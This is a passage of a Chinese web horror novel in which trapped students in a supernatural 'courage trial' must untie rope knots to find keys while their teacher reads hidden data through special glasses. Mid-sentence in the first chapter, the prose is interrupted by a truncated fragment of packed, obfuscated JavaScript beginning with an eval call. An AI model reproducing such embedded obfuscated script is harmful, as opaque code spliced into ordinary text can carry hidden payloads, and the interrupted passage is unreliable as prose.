力道之大,震得桌腿都发出不堪重负的呻吟。 没有预兆,没有缓冲。 眼前的木桌与身下的座椅,如同被投入无形的强酸伴随着令人牙酸的“滋啦”声,雪白的泡沫瞬间喷涌、扩散,又在眨眼间将整片木质结构吞噬、消融殆尽。 官酉只觉身体往下一沉,双脚仿佛陷入了冰冷的,饱浸了腥锈的泥沼之中,又旋即被一个圆钝坚硬的异物堪堪托住了下坠之势。 他低头一看,暗红色、散发着铁锈与腐败气息的泥浆,已然裹上了鞋跟,正贪婪地向上攀附,直没脚踝。 “滋啦……咕噜噜……” 令人毛骨悚然的撕扯与粘合声,自地底深处幽幽传来。 紧接着,九道粗如儿臂、色泽暗沉如凝结血浆的绳索,破开粘稠的“地面”,盘绕在半空,如同随时要蜇人的巨蟒般昂首而立。 绳索表面,深褐近黑的锈迹微微炸开,每一处尖锐都精准地虚点向每个人的面门—— 下一秒—— 咻!咻!咻! 破空声骤然炸响! 九道绳索的末端,如同锁定猎物的毒蛇信子,以超越视网膜捕捉极限的速度,裹挟着刺骨寒意,精准无比地噬向场中九人! 官酉瞳孔骤缩,肌肉在本能驱动下瞬间绷紧,意图弹起闪避。 迟了! 一股冰冷刺骨、滑腻如活物表皮的触感,闪电般缠上了他的右手腕! 带着令人作呕的生命搏动,骤然收紧! “呃!” 官酉喉间溢出一声闷哼。 强烈的束缚感伴着刺骨的阴寒,瞬间击破皮瓣的保护层,自手腕蛮横地窜上大脑皮层。 那绳索竟似活物一般,在勒紧的皮肉下微微搏动、收缩,再顺着小臂蜿蜒而上,瞬息间将他如茧般牢牢捆缚,悬吊于半空! 剧痛透过皮肤直钻入骨缝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他正仔细端详着缠绕自身的绳索,未被束缚的指勾起一段绳身,指尖灵巧的翻飞着,尝试打一个精巧的结。 忽然,他动作一顿,好似心有所感。 他抬起眼,目光穿透混乱的空气,落在了官酉的身上。 嘴角那抹弧度骤然加深,满了毫不掩饰的恶意与挑衅。 章著金无声地开合嘴唇,语速缓慢,确保官酉能清晰分辨每一个口型:“教~授~” “这次……”他舌尖轻巧地舔过下唇,笑容邪气,“你听到他的声音了?” 官酉脑中嗡然巨响。 暴怒的火焰瞬间吞噬了理智。 他全身肌肉贲张,就要不顾一切地尝试挣脱时—— 那截抵在他脖颈间的绳索末端,猛地昂首,以迅雷不及掩耳之势向后弯曲,擦过他脖颈的皮肤向侧绕行,再穿插、收紧—— 化作一个冰冷、死硬、棱角狰狞的绳结。 不偏不倚抵在官酉自己锁骨之间的胸骨上窝。 “呃——!” 一股足以碾碎锁骨的巨力透过那冰冷的绳结狠狠楔入骨缝的凹陷处! 呼吸瞬间被扼断! 官酉眼前陡然炸开一片刺目的惨白,耳中一片万籁俱寂,唯余血液冲上颅顶的轰鸣。 意识如同断线的风筝,朝着无底的黑暗深渊急速下坠,却在即将触底时,被橘猫冰冷的声音唤醒了。 “试胆大会正式开始。” 16. 中国结(16) “本次试胆大会,又叫‘直面过往’。” 橘猫迈着四条毛茸茸的长腿,在虚空中闲庭信步,肉垫踏过之处,留下微不可查的涟漪。 它的声音平稳无波,却在空旷死寂的大厅里激起阵阵寒意。 “游戏共分两轮,第一轮,选择权。” “座椅是你们选择试胆考核的方式。一共有两种,过去与操作。”它顿了顿,琥珀色的眼珠扫过悬吊的众人,“当你们选定了考核方式,座椅便会幻化成考题,也就是此刻束缚你们的绳索,将考题——或者说,你们曾在每一堂课程学习后应该掌握的技艺——具象于眼前。” 官酉心头一凛,镜片后的目光瞬间锐利起来,扫过半空中姿态各异的同伴。 所有人被悬吊的姿态,与他们当初被迫坐进那些恐怖椅子时的扭曲模样,分毫不差、 那些椅子并未消失,它们只是化作了这些勒进皮肉、深可见痕的活物般绳索,将每个人死死捆缚在无形的刑架之上,将选择的“代价”刻入骨肉。 “看见你们身上的绳结了吗?” 橘猫湿漉漉的鼻尖微微抽动,粉嫩的舌尖探出,轻轻点上自己冰凉的鼻尖。“每一个结,都对应着你们过去为了能在课堂里活下去而做过的事,或者一道正确的实操考题。” “而离开这里的宿舍钥匙,就藏在唯一一个正确的实操考题结里。” 它停顿了一下,尾巴尖在空中划出一道凌厉的破风声,指向官酉脖颈处的绳结。 “只有你们正确回答出藏有钥匙的那个结内提问,束缚才会解开,钥匙才会出现。” “如果选错了结……”它的声音陡然下沉,“能解开,算你本事,结消无事。但若是解不开……” 尾巴尖猛地向下一劈! “绳结收缩,直至骨肉成泥,滋养考题。” 最后几个字带着冰冷的血腥气砸落。 众人呼吸瞬间停滞,空气仿佛凝固成铅块。 就连一向暴躁的周昌南都短暂地哑了火,脸上血色褪尽。 这哪里是试胆?分明是血肉磨盘上的死亡轮赌! 官酉的眼神也彻底沉了下去。 他艰难地扭动脖颈,骨骼发出轻微的“咔”声,目光由近及远,扫过每个人身上绳结的位置、颜色、勒入的深度,大脑飞速运转,试图在绝望中寻找一丝规律或破绽。 夏铭双臂被反剪在背后,绳索将她吊得笔直僵硬,如同被钉上十字架的殉道者。 她身上只有两个结,一个深紫色的死结,深深嵌在锁骨与胸椎形成的胸骨上窝凹陷处,勒得那片白皙的皮肉充血通红。 另一个玫红色的活结,则刁钻地卡在她纤细腰侧的软肋位置,随着她压抑的呼吸微微起伏。 魏莱的脖子被粗糙的绳圈套住,如同待决的囚徒,四肢以违反人体工学的角度被绳索纠缠捆扎。 三个墨黑色的活结,一个像绞索般紧扣颈动脉,另外两个则如同沉重的脚镣,死死缠在纤细的脚踝上,随着她抑制不住的细微颤抖,那结也在诡异地微微搏动。 童话痛苦地蜷缩成一团,像个被强行塞回母体的绝望胎儿。 五个暗绿色的绳结如同汲取生命的丑陋藤蔓,紧紧缠绕在她的小腹和腰侧,深深勒进皮肉,勾勒出令人心悸的凹陷,几乎要将她拦腰截断。 周昌南四肢被粗暴地拉伸成大字型,粗壮的肌肉在绳索的束缚下贲张扭曲。 七个土黄色的绳结,像野蛮的攻城槌,死死“钉”在他的手腕、手肘、膝盖和脚踝关节处,每一次他无意识的挣扎,都带来骨骼不堪重负的“咯啦”弹响,听得人牙酸。 秦狩的身体被强行向后弯折,腰椎弓起一个痛苦到极致的弧度,额头冷汗涔涔。 六个赤红色的绳结,如同烧红的烙铁烙印,又像狰狞的百足蜈蚣,盘踞在他的后腰和整条脊背中央,随着他艰难的呼吸起伏蠕动,仿佛在啃噬骨髓。 刘立涛则被绳索从头到脚笔直地捆扎包裹,活像一具等待解剖的僵硬木乃伊。 八个惨白色的绳结,如同凝固的脓疮,密密麻麻覆盖了他躯干的大部分区域——胸口、腹部、肩胛……散发出令人窒息的冰冷绝望。 每一个人的处境,都明晃晃的昭示着凶险。 官酉的心沉甸甸坠向谷底,目光带着一丝不易察觉的忧虑,微微后移,落在刘楚恬身上。 小小的身影蜷缩得比童话更厉害,几乎被完全折叠。 她的身体几乎被密密麻麻的死灰色绳结完全淹没了。 那些绳结如同贪婪的尸虫,疯狂地攀爬、缠绕、勒紧在她的腰腹、手臂、大腿,甚至纤细脆弱的脖颈也。 每一个结都深深陷入皮肉,绳索边缘的皮肤被挤压成不祥的青紫色。 “她到底做过什么?或者说,这游戏判定她‘作恶’了什么?才会招致如此密集的‘清算’?” 官酉的眉头几不可察地蹙紧了一瞬,冰冷的镜片后掠过一丝凝重。 他缓缓收回目光,当眼角余光掠过章著金的瞬间,呼吸猛地一滞! 章著金同样被悬吊着,姿态却透着一股令人心头发冷的闲适。 他微微垂首,长而卷曲的发丝遮掩了部分表情,但关键的是——他身上一个绳结都没有! 那暗红色的绳索只是如同装饰性的缎带,松散地缠绕着他修长的身体,勾勒出流畅的线条,而非致命的束缚。 他甚至还饶有兴致地用未被束缚的指尖,轻轻拨弄着绕在臂弯的一截绳索! 就好似这场名为“直面过往”的残酷试炼,于他而言,只是一场无聊的戏剧前排观光。 “格老子的!”周昌南的怒吼如同平地惊雷,打破了死寂的平衡。 他被关节处的绳结折磨得双眼赤红,额角青筋暴跳如雷。 “放你娘的屁!这叫试胆?这他妈是阎王殿上抽生死签!还‘直面过往’?老子看是扒皮抽筋!” “这么多鬼结!哪个天杀的是真的?” “钥匙?钥匙个锤子!解不开就得被勒成肉酱!操他妈的黑色一星!怪不得进去十个死九个半!” 他疯狂地扭动着身体,试图挣脱腕部的束缚。 土黄色的绳结摩擦着皮肤,发出令人牙酸的“吱嘎”声。 腕骨肉眼可见地变形,但他似乎感觉不到疼痛,只有被死亡威胁逼到绝境的狂躁。 “闭嘴!蠢货!” 一声比周昌南的咆哮更冷、更厉的呵斥,如同冰水兜头浇下,瞬间压过了他的狂躁。 是刘立涛。 “嚎丧能让你活命?再他妈乱动触发更多陷阱,老子第一个把你那身蠢肉剁碎了喂绳结!” 赤裸裸的死亡威胁混着刘立涛身上特有的森冷气息撞向周昌南,周昌南猛地一哆嗦,似乎冷静了下来。 他的目光躲躲闪闪,脖子上的青筋兀自跳动,嘴里不甘地咕哝着:“你……你他妈吓唬谁……” 橘猫似乎对这场小小的冲突毫不在意,它只是看向周昌南的方向,眼皮极其轻微地一眨。琥珀色的瞳孔深处,一道冰冷流光流转而过。 下一秒,变故陡生! “呃啊——!” 周昌南猛地爆发出比之前更凄厉十倍的惨叫。 只见他身上那七个土黄色的绳结中央,毫无征兆地分叉出一股股细如发丝、却坚韧异常的暗红色麻线! 这些麻线如同嗅到血腥的活蛇,以超越视觉捕捉的速度,“嗖嗖”破空向前飞射! 不仅仅是周昌南! 几乎是同一瞬间! 所有束缚着受刑者的绳结核心,都同步分叉出同样的暗红麻线! 成百上千条细密的暗红丝线,如同被无形巨手操控的提线,从四面八方激射向大厅中央。 它们在空中高速穿梭、交叠、缠绕、打结。 速度快得只能看见一片猩红残影。 眨眼之间! 一个巨大、复杂到令人头晕目眩、散发着浓郁不祥与死亡气息的暗红色“死结”,凭空出现在大厅正中央。 它并非静止,而是在缓慢地、如同一个畸形的活体心脏般,搏动、收缩。 每一次收缩,都仿佛抽紧了所有受刑者身上的绳索,带来一阵窒息般的勒痛。 无数细小的、仿佛由凝固的暗红血液构成的扭曲文字,在巨大死结的结体表面明灭不定、疯狂闪烁,如同亿万只怨毒的眼睛。 “啊——!” “心脏!滴血的心脏!” “它在看我!” 尖叫声与倒抽冷气声瞬间此起彼伏,充满了极致的恐惧。 几个精神脆弱的学员几乎要当场崩溃。 官酉立刻将脸上的墨镜切换成无色模式,眼前的景象让他这个见惯了实验室冰冷数据的人也忍不住跟着倒吸一口凉气。 在其他学员眼中那颗搏动滴血的恐怖心脏,在他此刻的视野里,呈现为一个由无数暗红数据流构成,高度压缩着大量核心信息的处理中心! 这玩意儿蕴含的能量,绝对能瞬间抹杀他们所有人! 橘猫歪了歪毛茸茸的脑袋,下一句冰冷宣判已无缝衔接:“失败的力量自然不会单独吞噬向自己,他们会如同瘟疫一般,顺着麻绳侵蚀所有人心防,放大恐惧,削弱意识稳定。” 它说着,毛茸茸的尾巴尖在虚空中轻轻一点。 唰! 九个半透明的幽蓝色数据面板,瞬间浮现在每个悬吊者的身侧。 面板中央,一个鲜红的数字正在疯狂跳动——【意识稳定度(%)】。 “当稳定度低于10%……”橘猫的声音听着依旧毫无起伏,却比寒风更刺骨,“你们的意识就会被永远留下,化成绳索的养料。” 官酉的心瞬间坠入谷底。 低于10%会即刻抹杀。 且一人崩 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周昌南状若疯魔,两根指头不顾剧痛死命抠挖着绳结:“河堤?!河堤底下除了他妈的烂泥巴和石头,还能埋啥?!难道埋金子吗?!操!” “嗡——!!!” 他触碰的那枚土黄色绳结猛地爆发出刺目欲盲的昏黄光芒。 一股肉眼可见的、带着浓郁土腥味和淡淡血腥气的浑浊尘埃,以他为中心,如同爆炸的冲击波般轰然炸开,瞬间席卷整个大厅! “回答错误。名讳未明,罪责难消。” 橘猫冰冷的裁决如同丧钟。 “呃啊啊啊啊——!!!” 周昌南的惨叫凄厉得变了调。 接触绳结的食指和中指瞬间发出令人牙酸的“咔嚓”脆响,以一种诡异的角度向内反折、扭曲变形。 鲜血混合着骨茬从裂口迸溅而出! 而他右手腕上那枚被触碰的土黄色绳结,如同被激怒的毒蛇,骤然爆发出恐怖的收缩力! 硬生生又向皮肉深处勒进去半分! 清晰的尺桡骨骨裂声让所有人头皮发麻! 但这仅仅是灾难的开端! 那爆炸开的、蕴含了错误答案怨念与周昌南血肉气息的浑浊尘埃,如同致命的瘟疫孢子,飞速扩散弥漫,沾染上每一个悬吊者的身体,侵入他们的精神! 连锁崩塌开始了! 刘楚恬身侧的数据面板数值如同遭遇雪崩:87%……73%……59%……48%……! 数字跳动的红光几乎连成一片! 她猛地瞪大涣散的双眼,瞳孔瞬间扩散到极致,喉咙里发出“嗬…嗬…”抽气声,身体像被瞬间抽掉了所有骨头和意识般彻底软瘫下去。 悬挂的绳索深深勒入她青紫的脖颈,纤细的颈骨发出不堪重负的呻吟,意识如同狂风中的残烛,随时熄灭! 魏莱颈间的墨黑绳结搏动骤然加剧,如同疯狂吞咽的喉管。 她的数值也从55%一路暴跌至30%! 眼神彻底涣散,身体筛糠般剧烈抖动,口水不受控制地从嘴角淌下,仿佛癫痫发作。 童话蜷缩得更紧,发出幼兽般的呜咽,五个暗绿绳结仿佛活了过来,勒得她胸骨凹陷,数值在15%的红色警戒线上疯狂跳动,濒临崩溃。 就连意志相对坚定的夏铭和秦狩,数据也再次猛跌了十多个百分点。 夏铭闷哼一声,嘴角溢出一丝鲜血,强行咬住下唇才没晕厥过去,被反剪的手臂皮肤因剧烈的神经性痉挛而不断跳动。 秦狩脸色铁青,后腰的赤红绳结颜色变得更加深暗灼热。 官酉也遭受重击。 脖颈处那冰冷的绳结瞬间变得如同烧红的烙铁,狠狠地碾压过他细嫩的皮肤,印下寸寸红痕。 他的眼前瞬间被一片猩红和扭曲的色块覆盖,尖锐的耳鸣几乎刺穿鼓膜、 【意识稳定度:58%】 冷汗如瀑,瞬间浸透了他后背的衣物,带来刺骨的冰凉。 【嘀嘀嘀滴!检测到学员意识稳定度集体崩溃!】 【突发任务:意识屏障再构筑】 【任务描述:学员意识稳定度岌岌可危!悬崖边缘!请伟大的实习教师官酉立刻行动,力挽狂澜!不惜一切代价,将全体存活学员意识稳定度强行拉回并维持在10%警戒线以上!】 【重复,10%是生存底线!】 【任务奖励:基础奖励50积分!每成功维持一名学员意识稳定至任务结束,额外奖励5积分!】 【(当前存活学员:8人,潜在最高奖励:50+40=90积分)】 【失败惩罚:若有任何一名学员意识稳定度归零,视为该学员死亡。】 【若因此导致全员意识稳定度归零,或最终存活学员不足最低课堂要求,则视为教师严重失格,抹杀程序即时启动!】 17. 中国结(17) 冰冷的提示音狠狠扎入官酉混乱沸腾的意识。 官酉太阳穴突突直跳,眼前发黑,刺骨的寒意顺着脊椎飞速蔓延。 他任务没有完成,还有人没有找到! 他也好,章著金也好,学员也好,都得活! 绝不能在这里团灭! 他猛地闭上眼,再睁开时,教师眼镜上的黑色已经全部褪去,恢复成洞察虚妄的冰冷透明。 眼前扭曲蠕动、散发着不祥气息的麻绳瞬间消散,取而代之的是无数冰冷数据流构成的洪流。 扭曲的影像,嘈杂的呓语,尖锐的考题提示,以及……那至关重要的钥匙线索碎片…… 庞大驳杂的数据量如同失控的山洪,汹涌冲击着官酉的神经末梢。 他痛苦地闷哼一声,脖颈处的绳结骤然勒紧,喉头涌上一股腥甜。 生理性的剧痛逼迫他闭上双眼,沉重的睫毛剧烈颤抖。 但他不可以闭上! 他的学员,他的室友,还在等他去救! 尖锐的指甲狠狠刺入掌心,用近乎自残的痛感对抗着视觉信息过载带来的晕眩和呕吐感。 他必须睁着眼睛看清楚一切! 突然! 他的视线死死凝固! 一条异常粗壮、散发着蛮横气息、流淌着暗金色辉光的核心数据流,如同搏动心脏的主血管,霸道地贯穿了整个汹涌的数据核心! 它的一头贪婪地深扎入那搏动着的数据心脏,而另一端…… 竟然毫无阻滞地连接着下方那个身上没有一个绳结、姿态闲适得如同局外人的——章著金! 更让官酉心神剧震是,在那条粗壮得近乎狰狞的暗金色数据流表面,清晰地凸浮着三个他绝不可能认错的汉字—— 章!知!白! “轰——!” 官酉的脑子仿佛被重锤击中。 这条代表着章著金“过往”或“技艺掌握”的数据洪流,源头竟然是章知白?! “夺”?周目? 无数混乱的线索碎片、章知白绝望无助的呓语、那不断在数据流上浮现又破碎的“钥匙”图案……瞬间在他颅内炸开! “钥匙!钥匙一定在这里!解开!给老子解开——!!!” 一声歇斯底里咆哮将官酉从认知崩塌的边缘硬生生拽回现实。 是刘立涛! 他那本就跌至60%意识稳定度,已经狂跌至危险的45%! 对死亡恐惧的偏执彻底压垮了他。 他疯狂地扭动着木乃伊般的身体,用唯一能活动一点的指尖,不顾一切地抠向胸口一个最大的惨白绳结! 他根本不在乎那是什么,只想摆脱这窒息的束缚! “刘立涛!住手!别被你的恐惧控制!!” 夏铭厉声喝止,试图用眼神震慑他。 “交给……老师!他有……那个眼镜!他、他能找出对的!他能救我们!” 但她的双臂被反剪在背后死死捆住,自身在绳结的勒缚下痛苦不堪,声音的威慑力如同风中残烛。 “滚开!少他妈装圣人!”刘立涛赤红着双眼,眼球暴突如同濒死的鱼,嘴唇因恶毒的唾骂而扭曲变形,“活命各凭本事!你以为这个冒牌货真能当救人?做事跟个新兵蛋子似的!藤蔓那次……不过是他狗屎运好!!” 他恶毒地狠狠剜了一眼官酉,手上的动作却更加癫狂决绝。 【触发错误绳结。本绳结为错误实操题,请在3秒内用你曾失误过的手法解开绳结。】 橘猫毫无情感的声音如同丧钟。 【倒计时启动——】 【3——】 冰冷倒数的数字悬在刘立涛头顶。 【2——】 【1——】 【绳结解开失败!】 “嗬……呜……” 一声压抑到极致的破碎呻吟从刘立涛被绳索勒得变形的喉咙里挤出。 他的胸腔瞬间塌陷,清晰的肋骨变形声“咯啦”作响。 鲜红的血沫抑制不住地从他紧咬的牙关缝隙里喷溅出来。 刘立涛身侧的蓝色数据板,数值如同被无形的手狠狠掼向深渊。 【意识稳定度:23%】 剧烈的疼痛和灵魂被撕裂般的反噬,让他眼前彻底一黑,意识如同被巨锤砸碎的琉璃,碎片疯狂飞溅。 连锁崩塌的雪崩效应再次显现! “噗——” 刘楚恬的数值瞬间崩塌到15%! 魏莱的数值也狂泻至13%! 连秦狩和夏铭等人的数据也被这新的灾难狠狠拉下十多个百分点,跌入更深的危险区间! 剧痛和绝望彻底激发了刘立涛骨子里的凶性! “妈的……不行……换……换一个!” 他被塌陷的胸腔挤压得几乎窒息。 眼球充血突出,视线模糊一片。 仅存的动物求生的本能驱动着染血的指尖,痉挛地、颤抖地又向胸腹间另一个微微蠕动的惨白绳结戳去! “□□祖宗!刘立涛!停下!!” 秦狩目眦欲裂,身体因为过度绷紧和愤怒向后弓成了极限的弧度,后腰的赤红绳结仿佛要燃烧起来,烫的他身体如同案板上鱼儿,不断地抽搐。 “松手啊蠢货!你要害死大家吗?!” 夏铭也厉声尖叫,声音因为极致的恐惧和绝望而撕裂。 就连痛苦不堪、一只手被废的周昌南也尝试着扭动身躯,用唯一完好的脚狠狠踢蹬向刘立涛的方向:“格老子的!给老子……住手!!” 但刘立涛已经完全疯魔了。 指关节碎裂的剧痛和窒息感被他抛到脑后,那象征着“生路”的绳结就在眼前晃动! 他染血的指尖离那致命的惨白凸起只有毫厘之遥! 官酉被第二轮冲击的灵魂几乎要撞出□□。 众人绝望的阻拦历历在耳,他咬紧牙关,强行压下身体翻江倒海的惊涛骇浪,睁开布满血丝的眼镜,藏在镜片下的目光瞬间锁定刘立涛胸口那个他正要触碰的惨白绳结。 暗金色的能量流里正反复播放着令人作呕的画面—— 棉花被撕裂,塑料眼球被抠出,染血的绒毛被焚烧…… 冰冷的“精神污染指数”读数在考题滚动中飙升至恐怖的深红色。 而代表着“钥匙存在”的核心提示却空空如也! 官酉瞳孔骤缩! 这不是刘立涛要做的考题! 而且,一旦这个错误被开启,释放出的精神污染毒雾将如同溃堤的洪水瞬间湮灭周围脆弱的意志! 近在咫尺的刘楚恬和魏莱,绝对首当其冲,当场湮灭! 他有义务,也必须阻止刘立涛去触碰那个死亡的开关! “钥匙不在这里!” 官酉的声音冰冷而稳定,穿透混乱的嘶吼的背景音,清晰地刺入刘立涛的耳膜。 同时,他的目光透过眼镜,精准地落在了刘立涛右肋下方一个不起眼的、颜色略深的惨白绳结上。 那里的数据流呈现一个微小的、稳定的“钥匙孔”结构! 而他的旁边,虚拟钥匙正在不断地播放着正确解开的方式! “你……你放屁!你怎么知道?!” 刘立涛动作骤僵,布满血丝的眼球几乎要瞪出眼眶,死死攫住官酉,声音因剧痛和狂怒而嘶哑变形。 “别以为披着别人的皮就能唬人!你的底细早他妈被老子看穿了!” 官酉面无表情地迎上那疯狂的目光。 他说话的语速飞快,像个无情的机器:“那不重要。我是老师。我有道具。我现在正在履行职责,试图将存活率从悬崖边上拉回来。” 他刻意顿了一下,加重了每个字的分量:“你们都经历过不止一次课堂了,活命要依托规则而不是情绪——这道理,还用我掰碎了教吗?” “胡说八道!”刘立涛的脸因愤怒和挤压而扭曲得不成样子,“藤蔓那次呢?!林惊秋为什么会死?!!你怎么‘救’不了他?!” “藤蔓那次?”官酉嘴角勾起一丝冰冷的弧度,像是早已预料到这个诘问,“你应该去问问系统,给黑色一星课堂额外附加了什么‘清理机制’。” “至于你们——”他声音陡然下沉,“如果没有我最后展开能量屏障硬扛反噬,你现在质问的资格都没有,早和林惊秋一起化成灰了!” 根本不给对方任何反驳或喘息的时间,官酉目光如电,厉声喝道:“听着!右肋下第三枚绳结!颜色最深那枚!用你还能动的指头,死命按住顶端那个凹陷!然后——逆时针!转三圈半!” 话音落下的瞬间,官酉微微侧头,嘴唇精准地对准了小蜜蜂。 这是小蜜蜂的第二种使用方式,也是在刚刚,他才勉勉强强开启了使用权限。 【小蜜蜂(指令接管模式启动):检测到极端危机。执行最高权限指令。】 【目标:学员刘立涛。】 【接管肢体操作权限开启。】 【指令:按教师指引操作目标绳结。指令注入中……完成。】 “立刻!除非你想被自己的恐惧捏碎!或者——”他的视线飞速扫过刘楚恬和魏莱几乎失去生命迹象的身体,“现在就眼睁睁看着她们俩在你眼前变成滋养这些东西的养料!” “冒牌货,想也别想!老子就算死也不……”刘立涛喉咙里挤出怨毒的诅咒。 可下一秒,他惊骇地发现自己的手臂像被无形的钢缆拉扯,竟完全脱离了自己的意志掌控! 他只能眼睁睁看着自己的躯体像个劣质的提线木偶,艰难地低垂下伤痕累累的头颅,颤抖的食指被牵引着,摸向那个冰冷粗糙、颜色略深的肋下绳结! 指尖触碰到顶端那细微到几乎无法用肉眼察觉的凹坑—— “呃……呜——!” 刘立涛发出一声混杂着剧痛、屈辱和本能恐惧的闷哼,但那条被操控的食指却在这一刻爆发出远超自身的怪力,死死压入凹陷,随即带着某种决死的狠劲,猛地一拧! “咔哒——!!!” 一声异常清脆的锁芯被打开的金属弹响,撕裂了粘稠的死寂! 那枚惨白的绳结应声而开,绳索如同瞬间失去生命的蛇躯,骤然崩散、消解! 一把造型古旧、遍布暗绿铜锈的钥匙,带着实体坠落的微弱重量感,凭空显现,又“噗通”一声,掉入下方那滩不断翻涌着暗红气泡的粘稠泥沼之中。 与此同时—— 哗啦—— 束缚着刘立涛整个躯干和四肢的惨白绳索,如同失去了锚点,瞬间从他身上溃散、滑落。 噗通—— 刘立涛沉重的身体毫无缓冲地砸进冰冷刺骨、散发着浓烈血腥腐锈味的泥沼深处,溅起一片粘稠污秽的暗红浪花。 “嗬……咳咳咳……呕——” 他蜷缩在泥泞里,剧烈地呛咳、干呕,贪婪地汲取着腥臭但无比珍贵的空气,全身痉挛颤抖。 劫后余生的巨大空白和难以置信的惊悸,将他彻底淹没。 他身侧的数据板,那疯狂跳崖的数字也终于停止了下跌,极其缓慢地、艰难地向上爬升。 束缚众人的绳索似乎产生了连锁反应。 随着第一个正确的绳结被解开,数据心脏的搏动出现了一丝紊乱。 成了! 官酉藏在镜片后的瞳孔猛地收缩,锐利的光芒一闪而过,终于泄出了一口气。 他的猜测没有错! 数据……不会说谎。 眼镜揭示的真实,即是这死亡游戏中……唯一的生路。 “夏铭!胸骨上窝的紫结!用意志想象‘穿刺’它!不是破坏,是‘容纳通过’!” 官酉深吸一口气,眼镜顶着数据的洪压,在一大片盘根错节的数据流里,寻找着每一把钥匙的位置和解开方式。 夏铭没有丝毫迟疑,她阖上眼帘,将所有残余的清明压缩成一根无形针尖刺向锁骨中央那深陷窝处的绳结。 下一秒,整个结体如同被无声的震碎,寸寸瓦解、湮灭。 第二把锈迹斑斑的钥匙应声坠落,砸入下方翻滚的泥沼。 “魏莱!左脚踝!向外绷直脚背!用尽你最后的力气!”官酉的断喝紧接而至。 泥沼中钥匙坠落的“噗通”轻响,像一针微弱的强心剂刺入魏莱几乎涣散的神志。 她身体无意识地一抽,仅存的微弱意识驱使着她,那因神经性颤抖早已僵硬的左脚踝,猛地向外强行翻折。 “啪!”紧勒在她纤细脚踝的墨黑绳结瞬间失去张力,松脱、滑落、再消失不见。 第三把钥匙在污秽的泥浆中闪现一丝金属冷光。 魏莱那跳崖般的数据终于停止了恐怖的滑落。 “童话!右侧腰下!最底部那个绿结!向内压腹!极限收缩!!” 童话早已蜷缩得如同被揉皱的纸团,五官因窒息痛苦扭曲。 听到命令,她用尽残存的全部意志,调动腰腹深处最后的一丝肌肉力量,死死向内塌陷! “咯…呃啊!” 剧痛伴随成功。 那根如同吸血藤蔓般缠在她腰腹最下方、几乎勒断肋骨的绳结,被这绝望的挤压生生撑开了缝隙,瞬间朽木般崩散。 又一把钥匙加入了泥沼中的“救赎”队伍。 …… 在官酉指令下,一个接一个正确的绳结被找到、解开。 钥匙坠落的“叮当”声如同救赎的乐章,不多时,八把形态各异、但都布满污迹锈痕的钥匙,静静躺在那片不断翻涌着暗红气泡的泥沼之中。 八个人,或瘫软在地剧烈喘息,或勉强站立心有余悸,或互相搀扶,脸上挂满了劫后余生的狼狈与庆幸。 束缚他们的绳索早已失去了目标,如同被抽掉脊梁的死蛇,软塌塌地垂落地面,或是悄无声息地缩回泥沼深处,只留下青紫发黑的勒痕诉 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除了泥沼气泡破裂的细微“咕嘟”声,只剩下劫后余生者压抑的、带着剧烈颤音的喘息,和胸口内那失控擂动、如同战鼓般擂向胸腔壁的心跳。 滴答。 滴答。 时间在恐惧与未知中再次流淌。 试胆大会……远未结束。 劫后余生的喘息还在胸腔里剧烈起伏,七道目光却不约而同地罗在了中央那个依旧悬吊的“异类”身上。 “他……他为什么……”童话的声音因虚弱而颤抖,刚捡回一条命的她,眼神里又迅速被恐惧填满,“他为什么……一个结也没有?!” 这句问话如同投入死寂湖面的石子,瞬间激起了更深的惶恐涟漪。 “是啊!”周昌南捂着扭曲变形的手腕,嘶哑着咆哮,汗水混着泥浆从他惨白的脸上滑落,“老子差点被那鬼绳子勒碎全身骨头才解出来钥匙!凭什么他……他他妈跟逛庙会似的挂着?!” 魏莱缩在夏铭身边,身体还在神经质地抖动着,眼神如同受惊的幼鹿,从散落泥沼里的钥匙上扫过,又猛地缩回:“钥匙……我们有钥匙……可、可他身上没有结……钥匙……用不了!” 秦狩忍着后腰传来的灼痛,死死盯着章著金身上那松松垮垮的绳索,声音沉得像块铁:“规则是解开藏有钥匙的绳结……他……没有结。” “难道……他被豁免了?”刘立涛趴在冰冷的泥沼里咳出血沫,艰难地抬起头,眼神在官酉和章著金之间游移不定。 众人混乱惊惧的低语声嗡嗡作响。 他们刚刚以为用血泪换来了生路,现在却发现,通向通关的大门前,横亘着一个死结。 唯有官酉。 他仿佛没有听到身边的喧嚷,依旧稳稳地站在原地,脚踩在粘稠的泥泞里,微微仰着头,审视着那条暗金色的数据流。 章著金……章知白…… 同一个“章”姓! 是血缘?是巧合?还是……某种扭曲的掠夺与替代? 之前刚被悬吊时,混杂在无数痛苦中的呓语,瞬间涌入脑海,再被这道粗壮的、连接着数据核心的暗金血管强行串联! 恶意! 官酉心头猛地一沉。 之前的一些模糊猜测在这一刻似乎都有了具象。 章著金身上这异常的“无结”状态,很可能源于一种针对章知白的、深重而隐秘的掠夺行为!这不是被动沾染,更像是主动的攫取! 他做了什么? 是某种精神力量的强行嫁接? 如同嫁接果树,将本该属于章知白的记忆和习惯,转移到自己身上? 或者……干脆“覆盖”? 章著金的“过往”数据洪流源头来自章知白,而章知白并没有被系统认可,更没有参与过游戏过程,自然没有和游戏相关,可供直面的一切。 所以章著金身上的绳索才会仅仅是装饰。 他不是数据流锁定的主人,他的身上自然而然也不会有“过往”的具象! 念头带起的恶意让官酉指尖微微发麻。 他目光阴鸷的看着章著金的方向,试图穿透他垂落的发帘,捕捉那隐藏在阴影下的任何细微表情变化。 “啪嗒。” 一声极其轻微的、带着奇特韵律的肉垫踏水声,突兀地响起在死寂的大厅边缘。 橘猫踩着优雅无声的步伐,从一片浓郁的阴影中踱步而出。 它的皮毛在昏暗的光线下依旧显得温暖蓬松,圆润的琥珀色猫瞳微微眯起,表情餍足。 它的声音一如既往地平稳,毫无波澜,却像淬了冰的针,瞬间扎透了所有人紧绷的神经: “‘直面过往’,恭喜诸位完成度:8/9。” 尾巴尖在地上轻轻一扫,卷起那零落的八把钥匙,抛掷到每个人的手心。 “恭喜你们,成功从自身的‘过往’拷问中,取得了象征阶段性生存权利的……小玩意儿。” 那语调没有丝毫祝贺的意思,反而带着对下一阶段的向往。 “但,试胆大会……还在继续。” 橘猫优雅地抬起一只前爪,粉嫩柔软的肉垫轻轻点向虚空。 一个巨大的倒计时沙漏虚影,凭空出现在数据心脏的下方。 沙漏的上半部分,粘稠如血浆的红色砂砾,正在无声地向下流淌。 下方,计时器默默地闪着鲜红的倒计时。 